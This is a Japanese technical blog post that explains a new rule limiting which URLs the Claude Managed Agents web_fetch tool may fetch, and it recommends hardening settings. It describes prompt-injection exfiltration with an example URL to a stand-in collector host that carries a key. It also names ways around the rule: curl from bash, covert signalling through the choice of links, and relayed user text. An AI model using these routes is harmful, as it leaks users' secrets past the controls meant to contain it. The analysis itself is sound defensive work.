Dev

Claude Managed Agents の web_fetch:取得できる URL はユーザーか Web 由来のものだけに

新しいルールは、URL の出どころを信頼の度合いで順位付けしてはいません。攻撃者の Web ページは出どころとして認められ、自分で動かした bash の出力は認められません。bash はモデルが操作でき、Web はモデルが書けないからです。Web ツールを制限しても、デフォルトの環境では次の抜け道は curl です。

10 月 7 日から、Claude Managed Agents の web_fetch ツールは、セッション内にすでに現れた URL しか取得しなくなりました。リリースノートには対象と理由が書かれています。

text
the web_fetch tool now fetches only URLs that have already appeared in the
session, for example in the text of a user message, in a web_search result,
or in a page that web_fetch returned earlier. This reduces the risk of data
exfiltration.

同じノートには、事前コンテキストとして扱われないものも挙げられています。Claude 自身の出力、エージェントのシステム指示、添付ドキュメント、bash・read・MCP ツールの出力にしか現れない URL です。こうした URL を取得しようとすると url_not_in_prior_context エラーが返ります。意図して URL を渡したいときは、user.message の本文に入れます。

筆者の見立てでは、ルールそのものより、ルールが手を付けずに残したもののほうが重要です。API のデフォルトで作成した環境では、拒否された URL にもシェルのコマンド 1 つでアクセスできてしまいます。

Claude Managed Agents の web_fetch ルールは実際に何を防ぐのか

インジェクションを受けたエージェントにとって最も単純な持ち出し方を防ぎます。秘密情報を URL に書き込み、それを取得する方法です。ファイルやページに仕込まれた指示は、外部のソースがその URL を一度も示していない限り、web_fetch で https://collector.example/?k=<your key> にアクセスしてキーを外部に送ることはできなくなります。攻撃者はページにリンクを書くことはできますが、あなたのキーを事前に知ってそこに埋め込むことはできません。照合が URL 全体に対して行われるのか、もっと緩いのかはノートに書かれておらず、保護の効果は URL 全体での照合であることにかかっています。

Managed Agents で Web ページが事前コンテキストに数えられ、bash 出力が数えられない理由

信頼の問題ではありません。取得したページはセッションの中でも特に信頼できないテキストですが、数えられます。bash の出力は、自分で有効にしたツールがサンドボックス内で生成したものですが、数えられません。筆者の読みでは、線が引かれているのは、モデルがそのチャネルを操作できるかどうかです。Managed Agents では bash・read・MCP の呼び出しをモデルがセッション内で自分で行うので、もしツール出力が数えられるなら、echo を 1 回実行するだけで Claude が組み立てた URL はどれも「ツール出力」になり、ルールは形だけのものになってしまいます。検索結果や取得したページは、外部からすでに書かれた状態で返ってきます。システム指示と添付ドキュメントもモデルには書けないのに除外されているので、このルールは拒否寄りに作られています。

Messages API 版のチェックも同じ読みに合います。そちらでは、クライアント側ツールの結果は、Claude が生成したテキストをそのまま返している場合でも("even when they echo text that Claude produced")事前コンテキストに数えられます。あなたのコードがツールを実行し、その結果を受け入れたからです。コード実行や MCP コネクタのようなサーバー側ツールは数えられません。Managed Agents ではサンドボックスを Anthropic 側が動かすので、その bash はサーバー側ツールに分類されます。Web ページが自分のツールより上に置かれるという信頼の順序は奇妙ですが、判断の仕方は、筆者がコネクタについてのエッセイで主張した種類のものです。テキストの断片を読んで決めるのではなく、ハーネスが把握している、その断片が通ってきたチャネルで決めています。

同じ日に Claude Managed Agents の limited ネットワーキングで変わったこと

同時に 2 つの項目が追加されました。limited ネットワーキングのクラウド環境は、allowed_hosts を web_search と web_fetch にも適用するようになり、ホストを 1 つも登録していなければ、どちらのツールもページや検索結果を返しません。また、有効な Web ツールの allowed_domains に allowed_hosts の範囲外のエントリがあると、セッションの作成や更新が 400 で失敗するようになりました。2 つのリストは照合の仕方が違います。ツール側のエントリはサブドメインも含みますが、allowed_hosts のエントリは *. で始まらない限りそのホストだけに一致します。つまり docs.example.com は ["example.com"] の範囲内ではありません。

計画に入れておくべきなのは副作用のほうです。環境のドキュメントによると、Web ツールのために allowed_hosts に追加したホストはサンドボックスにも開放され("also open to the sandbox")、アクセスは操作単位ではなくホスト単位で許可されます("per host, not per operation")。アップロードも含まれます。limited の下でエージェントに読ませるために開けたサイトは、すべてエージェントが curl で送信できるサイトでもあります。

この変更の後も Claude Managed Agents のセッションから出ていくもの

許可していれば、bash です。networking フィールドなしで API から作成した環境は unrestricted になり、エージェントツールセットの既定のパーミッションポリシーは always_allow です。このデフォルトのままだと、事前コンテキストのチェックでしか拒否されていない URL にもシェルからリクエストでき、止めるものは一般的な安全用のブロックリストしかありません。新しいルールは、開け放たれた建物のドアを 1 枚閉めただけです。この構図は新しいものではありません。OpenAI のミスアラインメント報告でも、ブラウザは URL を拒否した一方で、シェルからのアップロードは通っていました。

ネットワークを絞っても、隙間が 2 つ残ります。1 つ目として、攻撃者はエージェントが取得するページにあらかじめ用意したリンクを多数載せられます。エージェントがどのリンクをたどるか自体がシグナルになります。宛先が許可されていて、攻撃者がそこへのリクエストを見られるなら、取得したページごとに次のリンク群を出せます。この経路で漏れる量はわずかずつですが、上限はありません。これは筆者の読みで、ドキュメントでは触れられていません。もう 1 つは、user.message が無条件に信頼されることです。アプリがエンドユーザーのテキストをそこに中継していれば、そのテキスト内の URL はすべて事前コンテキストのチェックを通ります。ドメインリストは引き続き適用されます。auto パーミッションポリシーも同じように user.message をあなたの意図として読みます。これはレビューではなく自動判定なので、Claude Code の承認クラシファイアと同じ注意が必要です。

ドキュメントが答えていない点もいくつかあります。Messages API は、システム指示にもユーザーの本文にも出てこない認証情報を含んでいるように見える URL を拒否しますが、そのチェックが Managed Agents にも適用されるかはノートに書かれていません。カスタムツールの結果がどちらに分類されるかも書かれていません。Messages API のクライアントツールと同じく、あなたのコードから返ってくるものではありますが、扱いは明記されていません。

Claude Managed Agents の環境を初日にどう設定するか

networking は毎回明示的に limited にし、そのジョブに必要なホストだけを登録します。エージェントが Web を読むだけなら bash を無効にし、Web ツールとサンドボックスで共有されるホストリストがシェルに何も開かないようにします。シェルが必要なら bash を always_ask にします。auto はときどき一時停止するので、まったく止まらないよりはましですが、許可された呼び出しが実行される前に誰かが確認するわけではありません。取得させたい URL は user.message で渡します。これが今ではドキュメント化された入口です。信頼できないユーザーのテキストは、自分の指示と同じ扱いにするつもりがない限りそこに入れないでください。このルールが決めるのは、モデルがどの URL を打ち込んではいけないかです。サンドボックス内のほかの経路から何が送れるかについては、何も決めていません。

ディスカッション

コメント欄はありません。議論は X で行っています。

Max Nardit

Max Nardit

@mnardit

ほかの記事

Claude Dashboards を実際に試す(Claude Motion も解説):数式パネルにしか現れなかったバグ

Claude Dashboards が公開 Wikipedia データ 88 行から何を作ったか、どの数字が元ファイルとの照合に耐えたか、そして唯一の誤りが共有ダッシュボードを見る大半の人には見えない理由。あわせて、ダッシュボードを共有したときに誰が何を見るのか、Claude Motion が動画生成モデルを使わずに動画を作る仕組みも扱います。

Claude Haiku 5.5 と GPT-6 Luna は、プロンプトが長くなるまでは同じ価格です

料金表はまったく同じで、崖の位置だけが違います。長いプロンプトで 2 つのモデルは分かれます。一方は 100,000 トークンを超えるとリクエスト全体を高い料金で計算し、もう一方は 272,000 トークンを超えてからです。ファイルを読むサブエージェントにとっては、単価よりもこの境界線のほうが請求額を左右します。